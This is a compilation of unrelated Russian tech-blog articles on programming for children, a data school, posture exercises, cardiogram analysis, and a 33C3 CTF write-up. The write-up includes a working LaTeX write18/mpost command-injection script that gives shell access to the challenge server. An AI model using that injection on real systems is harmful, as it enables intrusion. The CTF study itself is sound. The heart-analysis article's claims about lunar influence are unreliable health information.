Выбор между визуальным и текстовым программированием для детей

Недавно попалась интереснейшая английская статья, написанная Трейси Гарднер из TechAgeKids. В ней она делиться интересными мыслями по поводу программирования детьми в текстовых и визуальных языках. Она приводит интересные наблюдения, которые совпадают с моим опытом развития детей в программировании. Представляю вам перевод данной статьи.

Выбор между визуальным и текстовым программированием для детей

Говорят, что дети должны начинать с визуальных языков программирования, таких как Скретч (Scratch), а затем переходить к текстовым, например Python или JavaScript. Я считаю, что это просто смешно, особенно если учитывать, что большую часть карьеры я работал над созданием визуальных языков, позволяющих сделать разработку программного обеспечения более доступной для тех взрослых, которые обладают предметными знаниями, но не опытом программирования. Я также потратил много времени на разработку программного обеспечения с использованием визуальных языков (зачастую включающих текстовые фрагменты).

В этой статье рассказаны все подробности. Сразу подведу итог для родителей, которые интересуются, нужно ли их ребенку переходить к языкам на основе текста:

  • Не важно, визуальный язык или текстовый.
  • Важно, позволяет ли вашему ребенку определенный язык добиться того, что он хочет, и так, чтобы это было одновременно эффективно и приятно.
  • Вначале узнайте, что дети хотят сделать, и подберите хороший язык для решения конкретной задачи, который бы соответствовал их уровню знаний, опыту и способу мышления.
  • Миф, что взрослые не используют визуальные языки. Используют.

Почему мы учим детей программировать?

Прежде всего, давайте взглянем на то, зачем мы учим детей программированию. Некоторые дети станут программистами в будущем. Другие займут рабочие места, на которых наряду с другими знаниями требуются элементарные навыки программирования. Остальных нужно обучить программированию просто для того, чтобы они лучше понимали мир, в котором живут, были в состоянии контролировать его.

Чему мы учим детей?

При обучении детей младшего возраста моя цель состоит не в том, чтобы дать им профессиональные навыки. Я пытаюсь научить их двум основным вещам:

  1. Дать навык создания проектов, которые полезны/интересны/развлекают детей сейчас.
  2. Передать знания о вычислительном мышлении, которое позволит им делать вещи, которые полезны/интересны/будут развлекають/принесут прибыль в будущем.

Когда вы обучаете подростков, заинтересованных в программировании, робототехнике и т.п., во главу ставится обучение соответствующим навыкам. Вы можете использовать тот же подход для обучения способных детей младшего возраста, особенно когда у тех есть родители, готовые помочь детям использовать известные им самим языки программирования, но намного меньше родителей, мотивированных помогать с детскими языками программирования.

Что такое визуальные и текстовые языки?

Легче дать определение текстовым языкам программирования. Эти языки, введенные с клавиатуры и хранящиеся в виде текстовых файлов.

Графический или визуальный язык, как правило, использует функцию перетаскивания, а не ввода. Он может содержать значки или текстовые метки на блоках и элементах. Часто используются такие GUI элементы, как диалоги и выпадающие меню выбора.

Популярные детские языки – это Блокли (Blockly) и блокли-подобные.

Как правило, когда люди говорят о текстовых языках, они ссылаются на такие языки программирования, как Python, Lua и JavaScript, которые являются «реальными» языками программирования и используются профессиональными разработчиками программного обеспечения.

Интересно, что есть и детские текстовые языки программирования, например, Лого (Logo) и Снифф (Sniff) (не блокли-подобные, а именно текстовые), которые можно рассматривать в качестве ступеньки между визуальными и текстовыми языками.

Удобство обучения и запоминания

Одна из важных особенностей визуальных языков – то, что дети не должны помнить список команд или сложный синтаксис, который их окружает. Это слишком большое количество данных для детей, изучающих новый язык программирования.

Множество профессиональных разработчиков программного обеспечения тратят десятки часов еженедельно, программируя на одном языке. Это означает, что взрослые могут запомнить многое о синтаксисе и API и, когда знания понадобятся, они мгновенно доступны.

Дети, как правило, находятся в других обстоятельствах. Многие дети будут писать код только во время еженедельного 45-минутного урока, так что они никогда не смогут достичь мастерства и будут вынуждены постоянно повторять команды.

Мой младший сын любит использовать электронные компоненты SAM Labs и изобретать оригинальные штуковины.


Между рабочими сессиями в SAM Labs может пройти несколько недель, но он по-прежнему сможет мгновенно вспомнить, как соединить блоки в визуальном редакторе. Я уверен: если бы для достижения того же результата он использовал текстовый язык, было бы значительно сложнее найти, на чем он остановился. На самом деле, для решения более сложных задач SAM Labs действительно использует текстовое программирование, и, когда я помогаю сыну, за период между сессиями сам успеваю забыть нюансы языка. (Чем быстрее SAM Labs смогут реализовать большинство возможностей в визуальном слое, тем лучше.)

Конечно, удобная среда программирования может облегчить обучение и запоминание синтаксиса текстовых языков. Хорошая IDE (интегрированная среда разработки) с этим сильно помогает. Но универсальность типичного языка программирования затрудняет предоставление языка в той же доступной форме, которая есть в Scratch или блокли-подобных языках.

Ошибки синтаксиса

Ошибки в синтаксисе – огромная проблема детей и взрослых. Кто хочет тратить дни, считая скобки, исправляя опечатки или выискивая пропущенное двоеточие, которое точно должно где-то быть?

Да, хорошие редакторы могут помочь вам обнаружить эти ошибки, но даже лучшие редакторы не позволяют сделать синтаксическую ошибку и не исправить ее. В Scratch вы работаете непосредственно с концепцией программирования вместо того, чтобы разбивать ее на отдельные фрагменты задач. (Это иногда разочаровывает, если, например, вы хотите поменять местами повторения в бесконечном цикле. Но это просто работа, сделать ее не сложно. – Вся сложность в том, чтобы упростить полученное решение.)

Дети часто не имеют доступа к отличным инструментам, и в конечном итоге оказываются в ситуации, когда приходится бороться с синтаксическими ошибками. Я обнаружил, что CodeCombat – отличный способ познакомить детей с текстовым программированием и различными IDE, но эта платформа – не универсальная среда программирования.

Существуют проекты, нацеленные на перенос преимущества визуального редактирования в текстовую среду программирования для детей (например, редактирование на основе фреймов).

Иконки против текста

Некоторые визуальные языки полагаются на изобразительные символы или значки, например, LEGO Mindstorms в своем программном обеспечении использует обозначения на основе пиктограмм.

Для маленьких детей, которые еще не умеют читать код, часто используют изображения. Если дети научились читать, то, чтобы достойно конкурировать с текстовыми метками, система на основе пиктограмм должна быть очень хорошо разработана. Если ребенку для понимания увиденного приходится в уме проделывать путь от изображения к слову, вы только создаете ему дополнительные сложности.

Такие языки, как Scratch и Блокли, используют на перемещаемых визуальных элементах текстовые метки. Мой опыт показывает, что для умеющих читать детей это –лучший рабочий вариант.

Визуальный – не значит «упрощенный до нуля»

Профессиональные разработчики программного обеспечения часто предполагают, что такие языки, как Scratch являются «упрощенной дальше некуда» версией программирования.

Но все не совсем так. Что реально делает Scratch, так это удаляет лишние детали, которые на самом деле лишь мешают детям быстро пройти путь от зарождения идеи до запуска кода.

Вместо того, чтобы тратить дни и обнаруживать, что в конце строки пропущено двоеточие, дети могут провести больше времени в размышлениях о логике своего проекта. Они реально тратят больше времени на вычислительное мышление и меньше на то, чтобы осчастливить компьютер.

Scratch может быть сложным настолько, насколько это необходимо. Вы можете рисовать в нем фрактальные деревья и решать сложные проблемы синхронизации.

Я подробнее осветил эту тему в статье «Scratch – неправильный подход к компьютерному программированию, не так ли?» (Статья автора на английском).

Линейность против альтернативности

Одна из особенностей текстовых языков – то, что они по своей природе линейны. Текстовые языки не очень хорошо показывает связи между различными частями кода (хотя, конечно, эти связи там есть и должны быть пройдены парсером).

Визуальные языки обычно поддерживают нелинейную структуру. Современное программирование, особенно разработка игр, аппаратное обеспечение и Интернет вещей, зачастую работают на основе событий и выполняются одновременно. Код – это не книга, он не выполняется последовательно от начала до конца.

В Scratch я могу организовать код, чтобы переместить спрайт следующим образом:

Это ведет непосредственно к фактическому движению спрайта. В текстовом языке понадобилось бы поместить команды в произвольном порядке, и вы бы потеряли дополнительную информацию.

Я изучил Sonic Pi, текстовый язык для создания музыки, и меня обескуражила сложность создания линейного кода, который должен работать одновременно.

В Скетч есть функция для создания макета кода в 2D-пространстве, так что, если вы пишете музыку для нескольких, звучащих одновременно, инструментов, вы можете просто выложить участки кода по горизонтали или разместить их в различных спрайтах, которые будут выполняются одновременно автоматически. Для Скетч параллелизм – это естественная концепция.

Однако, Скетч по-прежнему в основном линейный. Может быть трудно понять модели поведения, которые зависят от одного передающего сообщение спрайта, и нескольких других, которые его получают.

Воркшоп Wonder использовал другой подход к языку Wonder для роботов Dash&Dot. В нем используется многопоточность. Потоки обычно применяют для описания бизнес-процессов точным (и иногда исполняемым) способом. Блоки состояния часто используются в системах управления. Это полезное средство для описания поведения систем, которые ведут себя по-разному в зависимости от текущего состояния.

Очень интересен подход к программирование в Minecraft, там используют смесь текстовых команд и визуальных блоков в 3D-пространстве. Код фактически является частью мира, а ведь для многих детей Minecraft столь же реален, как и настоящий мир вокруг. (Подумайте об Интернете вещей и даже большем!)

(Я еще даже не затрагивал обучение детей искусственному интеллекту и основам машинного обучения, которые требуют различных стилей языка. Поговорим об этом подробнее в будущем.)

Визуальный – не значит «медленный»

Взрослые, которые мало времени проводят с детьми, учащимися программировать на визуальных языках, часто предполагают, что программирование на визуальном языке происходит медленно. Медлительность ощущает взрослый человек, который сравнивает скорость разработки кода в визуальной среде с его скоростью набора кода в текстовой среде.

Но лишь немногие дети умеют печатать быстро, поэтому смотреть на их попытки писать текстовый код действительно тяжело. (Да, они должны научиться печатать, но это тема другой беседы.) Они также делают много опечаток: орфовизуальных ошибок, лишних пробелов.

Кроме того, большая часть времени, затраченного на программирование – это время размышлений. Мысли о том, чего вы хотите добиться от приложения и какой код для этого использовать, занимают больше часов, чем сама процедура ввода команд.

Как насчет сенсорных экранов?

Для многих современных детей первым опытом работы за компьютером становится телефон или планшет с сенсорным экраном. Визуальные языки очень легко переводить на сенсорный интерфейс. Большинство маленьких детей гораздо быстрее работают с интерфейсом перетаскивания на планшете, а не при помощи клавиатуры и мыши или трекпада. И у большинства подростков телефон все время находится под рукой.

Существует множество приложений типа Scratch Junior или Pocket Code, которые эффективно используют сенсорный интерфейс, чтобы позволить «поколению смартфонов и планшетов» писать код.

Microsoft создал сенсорный язык разработки, ориентированный на телефоны и планшеты. Это текстовый язык, но фактически в нем снижена доля набора благодаря использованию нажатий. Эта идея, безусловно, заслуживает изучения.

Apple запускают приложение Swift Playground, которое будет учить детей писать на языке Swift, используя все возможности мультитача на IPad.

Дети часто создают визуальные программы

Дети часто создают визуальные приложения и игры. Визуальные языки зачастую имеют очень тесную связь между конечным результатом и используемым для его достижения языком.

Например, в Скетч вы можете нажать на спрайт, чтобы изменить свой код. Это прямое соединение снижает познавательную перегрузку при разработке визуального приложения.

В Minecraft код действительно встроен в окружающую среду. Управление потоком достигается с помощью игровой пыли Redstone.

Дети и визуальная среда

Большинство детей предпочитают визуальную среду, ведь она приносит им больше удовольствия. Работа в ней ощущается как менее тяжелая. Среда на основе текста может показаться детям довольно сухой. Такие компании, как Tech Rocket, пытаются сделать текстовое программирование интереснее – достаточно посмотреть на их бесплатный учебник Python.

Тяжелее – не значит лучше

Ребенка, который хорош в создании игр на Скетч, может очень разочаровать переход к среде, где создавать подобные игры намного сложнее. Не «по-взрослому» делать больше работы, чем это необходимо.

Иногда приходится затруднять процесс, идя на компромисс ради большей гибкости. Но я считаю, что в других случаях профессиональным языкам разработки ПО и IDE есть чему поучиться у Скетч и подобных языков.

Что насчет смешения визуальной и текстовой основы?

Существует тенденция предлагать детям инструменты, которые позволяют создать из блоков и текстовых команд один и то же код. При этом именно текстовый код считается «реальным» языком программирования.

Например, это предлагается в Code.org и CodeKingdoms and the Microsoft micro:bit (редакторе битовых блоков).

Мой 9-летний сын в настоящее время учится программировать моды Minecraft при помощи Java и блочного редактора из Code Kingdoms.

Достаточно хороший подход, ведь сын может частично применять знания текстовых языков в визуальной среде.

Как насчет детских версий языков?

Язык программирования Ready позволяет детям и подросткам писать игры в среде, которая работает поверх игрового движка Unity.

Это интересный подход, который позволит устранить одну из основных претензий к таким языкам, как Scratch – в конечном счете вы можете создать приложение, которое можно запустить вне Скетч или представить на App Store.

Взрослые тоже используют визуальные языки

Визуальные языки могут быть эффективнее текстовых, если используются для решения разовых задач или непрограммистами, которые обладают предметными знаниями.

Программирование все больше входит в повседневную жизнь. IFTTT (если это, тогда то) – очень популярный сервис, который позволяет людям автоматизировать свою жизнь. Он использует визуальный редактор для создания правил. Вам не придется изучать сложный синтаксис для использования IFTTT, вы просто используете собственный редактор. Является ли это на самом деле программированием? Ну, подход предполагает, что вам придется писать код, чтобы сделать все по-другому. Он – то, что нужно, чтобы больше людей могли запрограммировать свою жизнь без необходимости изучать сложный язык.

Игровые движки часто на нижних уровнях детализации сочетают визуальные редакторы с текстовым кодом.

Создатели программного обеспечения всегда ищут способы, позволяющие включить в программные решения менее технически сфокусированных бизнес-пользователей. Эти пользователи обычно понимают (и определяют) бизнес-процессы в организации: определяют детали работы банковского счета или расчета скидок. Они должны быть в состоянии точно указать нужное поведение, чтобы компьютер может выполнить код, но они не хотят беспокоиться о таких вещах, как ошибки синтаксиса импорта библиотек и превращение типов integer в string, так что вы можете добавить их в рассылку.

Также существует практика предлагать взрослым неспециалистам использовать визуальные языки, позволяющие им быстро приступить к работе. Например, эта статья содержит много примеров визуального программирования в Интернете вещей. Для многих людей программирование является средством для достижения цели, а не самоцелью! Если среда на основе блоков делает программирование доступным большему числу людей, это просто фантастика.

Возможно, многие дети, которые учатся программировать сегодня, позже будут в своей работе и хобби использовать визуальные, а не текстовые языки.

Некоторые дети любят текстовое программирование

Некоторые дети с самого раннего возраста искренне любят текстовое программирование. Безусловно, не стоит останавливать их, наоборот, есть все основания для поощрения.

Многие маленькие дети способны писать HTML&CSS и изучать Python, JavaScript или Lua. И для некоторых соблазн написать моды Minecraft приведет к изучению Java. Сегодня вышеперечисленные языки – лучшие инструменты для решения различных задач. А некоторые дети просто хотят научиться программировать, чтобы поднять академическую успеваемость.

Все это – важные аспекты. Я сам был одним из таких детей! (Только в мои дни были языки Spectrum Basic и C на Amiga.)

Но это не значит, что все маленькие дети обязаны выучить текстовый язык или что текстовые языки «лучше».

Резюме

Текстовое программирование – не приоритет в обучении дошкольников и детей младшего школьного возраста.

Программирование в Скетч и других визуальных языках может не только послужить ступенькой для дальнейшего изучения Python и Java. Изучение Скетч полезно само по себе, и некоторые дети продолжат использовать визуальную среду, но уже «взрослую».

Цель обучения – дать детям навыки создания цифровых проектов и профессиональные знания, которые можно применить независимо от языка программирования.

Конечно, некоторые дети станут разработчиками программного обеспечения и должны будут изучать языки, которые используются в коммерческой разработке. Но они должны будут выучить текстовый язык потому, что это подходящий инструмент для разработки их проекта; потому, что они заинтересованы и/или это принесет пользу их профессиональному мастерству. И переходить к этим языкам нужно, когда они достаточно улучшат навыки печати. До тех пор больше пользы принесут визуальные языки программирования.

Я предпочел бы научить ребенка программировать в Скетч, чтобы он мог с энтузиазмом создавать фантастические проекты, а не заставлять того же ребенка бороться с синтаксисом в текстовом редакторе. Ведь так он больше узнает о вычислительном мышлении и будет иметь лучшее представление о мире технологий вокруг.

Дополнительная информация для родителей. Мне известно про зимний городской лагерь в котором дети будут программировать на Scratch и создавать свои проекты для решения реального кейса. Он проходит в центре Москвы 4-6 января 2017. Если это будет вам интересно и полезно, пожалуйста, смотрите подробности здесь.

ссылка на оригинал статьи https://geektimes.ru/post/284254/

Школа Данных «Билайн»: с Наступающим

Итак, заканчивается 2016 год. Для нас он был очень активным. Было 6 выпусков нашего курса для аналитиков, 5 выпусков курса для менеджеров (Data-MBA). Мы запустили курс в Санкт-Петербурге и уже провели первый выпуск. В партнерстве мы также обучали студентов Высшей Школы Экономики и Российской Экономической Школы, проводили мастер-классы в Сколково, участвовали в десятках хакатонов по всей стране, консультировали ведущие компании касательно применения аналитики и монетизации данных. В этом году один из наших преподавателей стал первым в мире в рейтинге Kaggle.

В 2017 мы продолжаем и растем. 16 января у нас запускается очередной курс для аналитиков данных, 5 февраля — для менеджеров, а 30 января стартует второй аналитический курс в Санкт-Петербурге.

Также, следуя многочисленным запросам 28 февраля мы запускаем наш курс для менеджеров в Санкт-Петербурге.

Мы поздравляем вас с наступающим Новым Годом. Желаем, чтобы он был полон свершений и открытий на поприще Big Data, искусственного интеллекта, машинного обучения и не только. Надеемся, что 2017 год еще в большей степени будет годом стартапов в области Big Data и искусственного интеллекта, годом создания экосистем обмена данными между компаниями и их совместной монетизации, годом взлета облачных сервисов, годом перехода во многих компаниях от пилотных проектов в области Big Data к реальной монетизации.

С наступающими праздниками и до встречи в Новом Году. Уверены, что будет весело)

Школа Данных «Билайн»
ссылка на оригинал статьи https://habrahabr.ru/post/318820/

Проприоцепция для неспециалистов. Часть 3. Динамическое сидение на стуле

«Ровная спина – залог здоровья позвоночника», «Сиди ровно», «Ваши мышцы спины слабые, их нужно накачать, чтобы держать спину ровной», «Выпрямься, чего сидишь горбом» – все эти фразы слышал практически каждый образованный человек не один раз в своей жизни.

На самом деле, выровненный относительно действия силы притяжения Земли, скелет будет передавать вес тела на точки опоры с минимальным напряжением мышц, поддерживающих это положение скелета. И, в то же время, внешняя характеристика правильной осанки – «ровная спина» – совершенно не отражает те процессы, которые нужны для качественного сидения или стояния.

Основная проблема внешнего статичного описания «правильной осанки» заключается в том, что живое тело, постоянно балансирующее в поле гравитации, представляется застывшей статуей, где важен внешний вид, а не внутреннее содержание. У статуй есть массивное основание, удерживающее статую от опрокидывания, живой человек же поддерживает устойчивость иначе.

Мышцы в нашем теле предназначены для движения, и даже те мышцы, которые приспособлены для длительной нагрузки в статичных позах, требуют периодического отдыха. При длительной сидячей работе отдых достигается путём смены позы. «Усталая спина» — основной симптом игнорирования принципов динамической подстройки позы, является ответом на перегрузку мышц чрезмерной статической нагрузкой.

Можно долго рассказывать сказки о том, что такое качественная осанка, но это совершенно не отразит того личного опыта ощущения свободы и раскованности во время сидения. Урок для снятия напряжения в пояснице при сидении займёт всего 5-7 минут.

Ситуация 1

Встаньте, прогуляйтесь по комнате, усядьтесь на середину стула, ноги расположены так, чтобы в коленных и тазобедренных суставах был угол примерно 90°, стопы полностью стоят на полу. Почувствуйте как опираются ваши ягодицы на стул, как чувствует себя поясница, как лежат ваши руки, как стоят ноги на полу.

Попробуйте мягко и не торопясь приподнять одну ягодицу над стулом, совсем немного, и медленно опустить её на место. Заметьте, как вы переносите при этом вес тела на другую ягодицу, используете ли вы опору на стопы, чтобы легче было сделать движение.

Повторите движение несколько раз и остановитесь. Заметьте, что изменилось в вашем ощущении опоры на стул. Сравните, насколько удобно расположены ваши ягодицы на стуле, под какой из ягодиц стул кажется мягче?

Повторите движение на другой стороне.

Ситуация 2

То же исходное положение, что в ситуации 1. Вы смещаете колено одной ноги слегка вперёд и возвращаете в исходное положение.

Заметьте, что для смещения колена вперёд вам нужно сместить одну половину таза вперёд, при этом происходит движение вокруг точки опоры в области ягодицы на другой стороне.

Аналогично, при смещении колена назад, половина таза на этой стороне сдвигается кзади.
Почувствуйте, что происходит с поясницей во время этого движения, сделайте его несколько раз, отдохните, и повторите с другой стороны.

Ситуация 3

Объединим движения из ситуаций 1 и 2 в единое целое.

Поднимите одну ягодицу над стулом и смещаете её вперёд, опускаете ягодицу на стул. На другой стороне повторите это движение. Теперь опять меняете сторону, поднимаете ягодицу над стулом и смещаете её назад, опускаете ягодицу. На другой стороне повторяете.

Таким образом походите ягодицами по стулу несколько раз. Очень медленно и мягко, обращая внимание на то, как переносится вес на точки опоры, как ваша поясница реагирует на движение, что делает голова и руки.

Остановитесь, отдохните, и заметьте, что изменилось в вашем теле. Как чувствует себя поясница? Насколько мягкая поверхность сиденья стула теперь? Встаньте и пройдитесь по комнате, проверьте, что измелилось в вашей походке?

P.S. Одним из вариантов для нахождения комфортного положения позвоночника при работе за столом может быть кратковременная замена кресла на фитбол.

Только не работайте так постоянно – неустойчивая опора требует слишком больших усилий для поддержания позы, однако опыт работы сидя на фитболе, даёт больше комфорта при использовании обычного кресла.
ссылка на оригинал статьи https://geektimes.ru/post/284252/

33C3 CTF Эксплуатируем уязвимость LaTeX’а в задании pdfmaker

Этот небольшой write-up будет посвящен разбору одного из заданий с недавнего CTF 33С3. Задания ещё доступны по ссылке, а пока рассмотрим решение pdfmaker из раздела Misc.

Собственно, описание задания:

Just a tiny application, that lets the user write some files and compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

К заданию прилагался скрипт, исходным кодом сервиса:

pdfmaker_public.py

#!/usr/bin/env python2.7 # -*- coding: utf-8 -*-  import signal import sys from random import randint import os, pipes from shutil import rmtree from shutil import copyfile import subprocess  class PdfMaker:    def cmdparse(self, cmd):     fct = {       'help': self.helpmenu,       '?': self.helpmenu,       'create': self.create,       'show': self.show,       'compile': self.compilePDF,       'flag': self.flag     }.get(cmd, self.unknown)     return fct    def handle(self):     self.initConnection()     print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."     instruction_counter = 0     while(instruction_counter < 77):       try:         cmd = (raw_input("> ")).strip().split()         if len(cmd) < 1:            continue         if cmd[0] == "exit":           self.endConnection()           return         print self.cmdparse(cmd[0])(cmd)         instruction_counter += 1       except Exception, e:         print "An Exception occured: ", e.args         self.endConnection()         break     print "Maximum number of instructions reached"     self.endConnection()    def initConnection(self):     cwd = os.getcwd()     self.directory = cwd + "/tmp/" + str(randint(0, 2**60))     while os.path.exists(self.directory):       self.directory = cwd + "/tmp/" + str(randint(0, 2**60))     os.makedirs(self.directory)     flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) +  "%X" % randint(0, 2**31)     copyfile("flag", flag)     def endConnection(self):     if os.path.exists(self.directory):       rmtree(self.directory)    def unknown(self, cmd):     return "Unknown Command! Type 'help' or '?' to get help!"    def helpmenu(self, cmd):     if len(cmd) < 2:       return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."     if (cmd[1] == "create"):       return (" Create a file. Syntax: create TYPE NAME\n"               " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"               " NAME: name of the file (without type ending)\n"               " The created file will have the name NAME.TYPE")     elif (cmd[1] == "show"):       return (" Shows the content of a file. Syntax: show TYPE NAME\n"               " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"               " NAME: name of the file (without type ending)")     elif (cmd[1] == "compile"):       return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"               " NAME: name of the file (without type ending)")    def show(self, cmd):     if len(cmd) < 3:       return " Invalid number of parameters. Type 'help show' to get more info."     if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:       return " Invalid file ending. Only log, tex, sty and mp allowed"      filename = cmd[2] + "." + cmd[1]     full_filename = os.path.join(self.directory, filename)     full_filename = os.path.abspath(full_filename)      if full_filename.startswith(self.directory) and os.path.exists(full_filename):       with open(full_filename, "r") as file:         content = file.read()     else:       content = "File not found."     return content    def flag(self, cmd):     pass    def create(self, cmd):     if len(cmd) < 3:       return " Invalid number of parameters. Type 'help create' to get more info."     if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:       return " Invalid file ending. Only log, tex, sty and mp allowed"      filename = cmd[2] + "." + cmd[1]     full_filename = os.path.join(self.directory, filename)     full_filename = os.path.abspath(full_filename)      if not full_filename.startswith(self.directory):       return "Could not create file."      with open(full_filename, "w") as file:       print "File created. Type the content now and finish it by sending a line containing only '\q'."       while 1:         text = raw_input("");         if text.strip("\n") == "\q":           break         write_to_file = True;         for filter_item in ("..", "*", "/", "\\x"):           if filter_item in text:             write_to_file = False             break         if (write_to_file):           file.write(text + "\n")     return "Written to " + filename + "."    def compilePDF(self, cmd):     if (len(cmd) < 2):       return " Invalid number of parameters. Type 'help compile' to get more info."     filename = cmd[1] + ".tex"     full_filename = os.path.join(self.directory, filename)     full_filename = os.path.abspath(full_filename)     if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):       return "Could not compile file."     compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)     compile_result = subprocess.check_output(compile_command, shell=True)     return compile_result  def signal_handler_sigint(signal, frame):   print 'Exiting...'   pdfmaker.endConnection()   sys.exit(0)  if __name__ == "__main__":   signal.signal(signal.SIGINT, signal_handler_sigint)    pdfmaker = PdfMaker()   pdfmaker.handle()

После изучения скрипта, становится понятно, что мы имеем дело с pdflatex. Быстрый поиск в гугл выдаёт ссылку на статью с описанием недавней уязвимости. Так же определяем, что нужный нам флаг начинается с 33C3 и далее идёт рандомная последовательность.

Воспользуемся им, и напишем небольшой скрипт для более удобного выполнения команд:

#!/usr/bin/python3 import socket  def send(cmd): 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 	s.connect(("78.46.224.91", 24242)) 	x = '''verbatimtex \documentclass{minimal}\begin{document} etex beginfig (1) label(btex blah etex, origin); endfig; \end{document} bye \q ''' 	s.send('create mp x\n'.encode()) 	s.send(x.encode())  	s.send('create tex test\n'.encode()) 	test = '''\documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (%s)>flag.tex" "x.mp"} \end{document} \q ''' %(cmd) 	s.sendall(test.encode()) 	s.send('compile test\n'.encode()) 	s.send('show tex flag\n'.encode()) 	data = s.recv(90240) 	data = data.decode() 	s.close() 	return data  while True: 	cmd = input('> ') 	cmd = cmd.replace(' ','${IFS}') 	print(send(cmd))	 

После запуска, выяснилось, что символ слеша, не верно обрабатывается, и команда, в которой он присутствует не выполняется. Шелл у нас есть, осталось вывести флаг командой:

ls | grep 33 | xargs cat

Задание пройдено, флаг найден!
ссылка на оригинал статьи https://habrahabr.ru/post/318850/

Об использовании когнитивной системы IBM Watson Analytics для анализа данных о работе сердца

Сердце сделано из ткани,
которая очень легко разрывается и
очень легко починяется.
Александр Дюма-сын

Гаяне Арутюнян, архитектор аналитических систем для бизнеса, Клиентский центр IBM в Москве

image

Эта статья — практическая попытка понять насколько современные технологии могут помочь современной науке продвинуться вперёд, и быстрее решать проблемы связанные со здоровьем общества.

Сердечно сосудистые заболевания (ССЗ) являются одними из самых распространённых в нашей стране. По данным Росстата, причиной большинства смертей в январе—июне 2015 года стали болезни системы кровообращения (почти 50%, или 493,385 тыс. умерших). Молодые люди умирали в основном от сердечно-сосудистых заболеваний (почти 30% смертей).

На одной из конференций, посвященной вопросам медицины, я познакомилась с очень интересным человеком, учредителем компании CardioQVARK. Оказалось, что наши интересы сходятся в области анализа работы сердца. У него был большой фактический материал, обезличенные данные обследований пациентов — кардиограммы. У меня была возможность проанализировать эти данные при помощи аналитического инструментария IBM. Речь идет о так называемой когнитивной, то есть, умной аналитике – системах нового поколения для исследования больших объемов сложных, неструктурированных данных.

В их число входят продукты семейства IBM Watson. Именно облачный сервис Watson Analytics позволил оперативно проанализировать и визуализировать серии кардиограмм, предоставленные компанией CardioQVARK.

Для проведения эксперимента потребовались дополнительные ресурсы и мощности, которыми располагает Клиентский центр IBM в Москве, в котором я со своими коллегами и проводила анализ.

Сам эксперимент состоял из трех основных этапов: подготовка информации к анализу, собственно анализ и визуализация результатов, интерпретация результатов эксперимента.
Мы работали в тесном сотрудничестве со специалистами CardioQVARK, и нашей целью была достаточно амбициозная задача – получить значимые результаты после обработки больших массивов реальных медицинских данных.

Эта задача для больших объемов данных является весьма сложной. Прав был Блез Паскаль, когда говорил, что у сердца свои законы, которых «разум не знает».

Дело в том, что на работу сердца влияет огромное количество факторов, и понять, какие из них являются наиболее важными, весьма трудно. Врачи зачастую ориентируются на свой личный опыт, на интуицию. Мы же задействовали самые современные аналитические системы, способные увидеть связь между множеством разнообразных факторов и оценить их влияние.
Результаты анализа принесли много неожиданного. Начнем с того, что специалисты, которые давно работают по данной тематике, были удивлены, что команда ИТ-специалистов с высокой скоростью и точностью смогла разобрать и классифицировать состояние пациентов. Ведь мы не являемся специалистами в области медицины. Однако, когнитивные системы потому так и называются, что позволяют решать задачи, ранее доступные лишь экспертам, в обычном режиме.

Результаты оказались впечатляющими в первую очередь потому, что в автоматическом режиме удалось выявить большое количество важных зависимостей, выделить специфические группы пациентов, отклонения от нормы, выявить тех, кому требуется срочная операция, определить влияние медикаментов на ход болезни и многое другое.

Например, из общей массы удалось выделить и классифицировать:
• условно здоровых пациентов и характер их кардиограмм
• пациентов с нарушениями в работе сердца.
• пиковые периоды и нагрузки на сердце
• пациентов, кому требовалась операция на сердце
• пациентов, кто перенес операцию на сердце
• влияние медикаментов в послеоперационный период
• характер работы сердца в период восстановления
• возвращение сердца в нормальную работу

Более того, аналитический инструментарий Watson Analytics позволил увидеть интересные зависимости. Так, оказалось, что на работу сердца пациентов, особенно женщин, влияют фазы Луны. Это очень интересная зависимость потребовала отдельного анализа, ведь тема уже выходит за рамки традиционной медицины и поэтому требует особенно аккуратного подхода.
Несмотря на то, что влияние явлений космического масштаба — Солнца, Луны, на живые организмы исследуется уже достаточно давно, большая сложность выявления зависимостей пока оставляет это поле исследований достаточно проблематичным. Основы этих исследований заложил великий русский ученый А.Л. Чижевский. В частности, он открыл зависимость структуры крови от электрических и магнитных полей, в том числе солнечного электромагнитного поля. Не случайно, что электромагнитное поле сердца примерно в пять тысяч раз сильнее поля мозга.

Именно потому, что мы не являлись специалистами в медицине, была применена специальная методика для чистоты эксперимента и проверки результатов.

Мы получили обезличенные данные кардиограмм как здоровых пациентов, так и больных. То есть, при анализе наша команда не знала, какие кардиограммы относятся к больным пациентам, а какие сняты у здоровых людей.

Полученные результаты мы обсудили вместе с командой врачей. Взаимодействие двух команд было необходимым, потому что система CardioQVARK собирает огромное количество фактической информации о пациенте, и понимание многих из этих данных требует специальных знаний.

Статистические показатели, которые загружались в систему IBM Watson отражали разнообразные характеристики работы сердца – такие, как длительность сердечных циклов, их вариации, аритмию, связь с работой дыхания, частотой пульса и так далее.
Поскольку система CardioQVARK позволяет делать также спектральный анализ сердечного ритма, то есть определяет колебания — волны, возникающие при работе сердечных мышц. Эти данные также загружались в аналитический инструментарий Watson Analytics. В частности, это были параметры, связанные с дыхательными волнами, параметры медленных или средних волн, связанных с симпатической активностью или активностью, связанной с частотой сердечных сокращений, и многое другое.


Рис. 1. Благодаря приложению на iPad, врач – пользователь CardioQVARK в режиме онлайн контролирует состояние пациентов.

Итак, проведенный анализ позволил выявить целый ряд важных показателей и зависимостей:
• статистические значения, то есть средние величины для каждого из показателей
• периоды (циклов) работы сердца
• построение прогноза на неделю по каждому из параметров
• сопоставление значений с лунным календарём
• определение степени зависимости между показателями в пиковые периоды

Последняя зависимость особенно важна, поскольку пиковые периоды – это периоды критических режимов работы сердца, и они могут оказаться наиболее опасными для здоровья пациента.

